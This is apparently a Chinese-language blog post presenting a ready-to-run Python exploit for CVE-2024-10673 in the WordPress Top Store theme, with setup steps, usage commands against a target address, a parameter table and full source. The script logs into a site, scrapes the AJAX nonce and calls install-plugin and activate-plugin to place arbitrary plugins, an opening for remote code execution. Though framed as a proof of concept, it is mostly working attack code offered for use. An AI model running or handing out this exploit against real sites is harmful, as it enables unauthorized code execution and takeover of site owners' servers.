WordPress Top Store 主题高危漏洞利用工具 (CVE-2024-10673)

CVE-2024-10673: WordPress Top Store 主题插件安装利用工具

本项目是一个针对 WordPress Top Store 主题 (<= 1.5.4) 中存在的 CVE-2024-10673 漏洞的概念验证与利用工具。该漏洞允许任何拥有订阅者及以上权限的认证用户,通过未受保护的AJAX请求安装并激活任意插件,从而可能导致远程代码执行和权限提升等严重后果。

功能特性

  • 自动化漏洞利用:脚本自动化完成登录、获取Nonce、安装和激活插件的全过程。
  • 动态Nonce提取 :自动从目标页面的JavaScript中提取有效的ajax_nonce,无需手动干预。
  • 灵活的插件选择 :支持用户通过命令行参数指定要安装和激活的插件(默认安装hunk-companion)。
  • 结构化输出:以JSON格式输出关键步骤的执行结果,便于日志记录和集成到其他自动化流程。
  • 错误处理:对登录失败、Nonce提取失败、插件安装失败等常见错误进行了处理,保证脚本的健壮性。

安装指南

系统要求

  • Python 3.x
  • pip Python包管理器

依赖项

  • requests:用于发送HTTP请求

安装步骤

  1. 克隆或下载项目 :将本项目代码保存到本地,例如文件名为exploit.py

  2. 安装依赖库

    bash 复制代码
    pip install requests

使用说明

基础使用示例

以下命令演示了如何利用漏洞,在目标站点上以用户admin的身份安装并激活默认插件hunk-companion

bash 复制代码
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123

典型使用场景

场景一:安装并激活指定插件

如果你希望安装并激活一个特定的插件(例如woocommerce),可以使用-pl参数:

bash 复制代码
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123 -pl woocommerce

API 概览 (命令行参数)

该工具通过命令行参数进行控制:

参数 (短) 参数 (长) 类型 必填 默认值 描述
-h --help - - 显示帮助信息并退出。
-u --url string - 目标WordPress站点的URL。
-un --username string - WordPress用户名。
-p --password string - WordPress密码。
-pl --plugin string hunk-companion 要安装和激活的插件slug。

核心代码

以下是工具的核心逻辑,展示了漏洞利用的三个主要步骤:登录、提取Nonce、安装并激活插件。

python 复制代码
import requests
import argparse
import re
import json

# 作者: Nxploit | Khaled Alenazi

# 全局会话,用于维持登录状态
session = requests.Session()
# 忽略SSL证书验证(仅用于测试环境)
session.verify = False
requests.packages.urllib3.disable_warnings()

def login(url, username, password):
    """步骤1: 登录WordPress后台"""
    login_url = f"{url}/wp-login.php"
    login_data = {
        "log": username,
        "pwd": password,
        "rememberme": "forever",
        "wp-submit": "Log In"
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    }
    response = session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
    
    # 检查登录是否成功(通过cookie判断)
    if any("wordpress_logged_in" in cookie.name for cookie in session.cookies):
        return {"status": "success", "message": "Logged in successfully"}
    else:
        return {"status": "error", "message": "Login failed. Check credentials."}

def fetch_nonce(url):
    """步骤2: 从主题设置页面提取AJAX nonce"""
    nonce_page_url = f"{url}/wp-admin/themes.php?page=thunk_started"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    }
    nonce_response = session.get(nonce_page_url, headers=headers)
    
    # 使用正则表达式从JavaScript代码中提取nonce
    nonce_match = re.search(r'var _wpUpdatesSettings = \{"ajax_nonce":"(.*?)"\};', nonce_response.text)
    if nonce_match:
        return {"status": "success", "message": "Nonce extracted", "nonce": nonce_match.group(1)}
    else:
        return {"status": "error", "message": "Failed to extract nonce"}

def install_and_activate_plugin(url, nonce, plugin_slug):
    """步骤3: 使用漏洞安装并激活指定的插件"""
    ajax_url = f"{url}/wp-admin/admin-ajax.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest"
    }

    # 3.1 安装插件
    install_data = {
        "action": "install-plugin",
        "slug": plugin_slug,
        "_ajax_nonce": nonce,
    }
    print(json.dumps({"Installing plugin": f"{plugin_slug}..."}))
    install_response = session.post(ajax_url, data=install_data, headers=headers)
    
    if install_response.status_code == 200:
        install_result = install_response.json()
        if install_result.get('success'):
            print(json.dumps({"Plugin installed successfully": plugin_slug}))
        else:
            print(json.dumps({"error": "Installation failed", "details": install_result}))
            return False
    else:
        print(json.dumps({"error": f"HTTP {install_response.status_code} during installation"}))
        return False

    # 3.2 激活插件
    activate_data = {
        "action": "activate-plugin",
        "plugin": f"{plugin_slug}/{plugin_slug}.php",
        "_ajax_nonce": nonce,
    }
    print(json.dumps({"Activating plugin": f"{plugin_slug}..."}))
    activate_response = session.post(ajax_url, data=activate_data, headers=headers)
    
    if activate_response.status_code == 200:
        activate_result = activate_response.json()
        if activate_result.get('success'):
            print(json.dumps({"Plugin activated successfully": plugin_slug}))
            return True
        else:
            print(json.dumps({"error": "Activation failed", "details": activate_result}))
            return False
    else:
        print(json.dumps({"error": f"HTTP {activate_response.status_code} during activation"}))
        return False

# 主程序入口
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2024-10673 - WordPress Plugin Installation & Activation')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
    parser.add_argument('-un', '--username', required=True, help='WordPress Username')
    parser.add_argument('-p', '--password', required=True, help='WordPress Password')
    parser.add_argument('-pl', '--plugin', default='hunk-companion', help='Plugin slug to install and activate')
    args = parser.parse_args()

    # 执行攻击链
    login_result = login(args.url, args.username, args.password)
    print(json.dumps(login_result))
    if login_result['status'] == 'error':
        exit()

    nonce_result = fetch_nonce(args.url)
    print(json.dumps({"Fetching nonce value...": nonce_result['message']}))
    if nonce_result['status'] == 'error':
        exit()
    print(json.dumps({"Nonce extracted": nonce_result['nonce']}))

    if install_and_activate_plugin(args.url, nonce_result['nonce'], args.plugin):
        print(json.dumps({"Exploit completed successfully!"}))
    else:
        print(json.dumps({"Exploit failed!"}))

6HFtX5dABrKlqXeO5PUv/6RmbsAYeSh70SEvTFGbDPg=

相关推荐
冬奇Lab7 小时前
Workflow 系列(03):状态管理——持久化、幂等性与版本绑定
人工智能·工作流引擎
冬奇Lab7 小时前
每日一个开源项目(第146篇):openpilot - 开源自动驾驶辅助系统,曾在 Consumer Reports 评测中超过特斯拉 Autopilot
人工智能·开源·自动驾驶
threerocks7 小时前
一用一个不吱声的视频解析 Skill,你值得拥有
aigc·ai编程
吴佳浩8 小时前
AI 工程师知识地图:模型格式、框架、部署工具一次讲明白
人工智能·aigc·ai编程
IT_陈寒9 小时前
Java的Date类又坑了我一次,改用时间戳真香
前端·人工智能·后端
码农胖大海9 小时前
AI额度不够用的解决方案
人工智能
后端小肥肠9 小时前
小红书虚拟商品怎么做?我先用 Skill 跑通了壁纸品类
人工智能·aigc·agent
feiyu_gao9 小时前
从零搭建个人 AI 工作台:一个管理者的 3 个月实验
人工智能·aigc·团队管理
JEECG官方10 小时前
Claude Code Loop 快速入门:从一行命令到自动迭代
aigc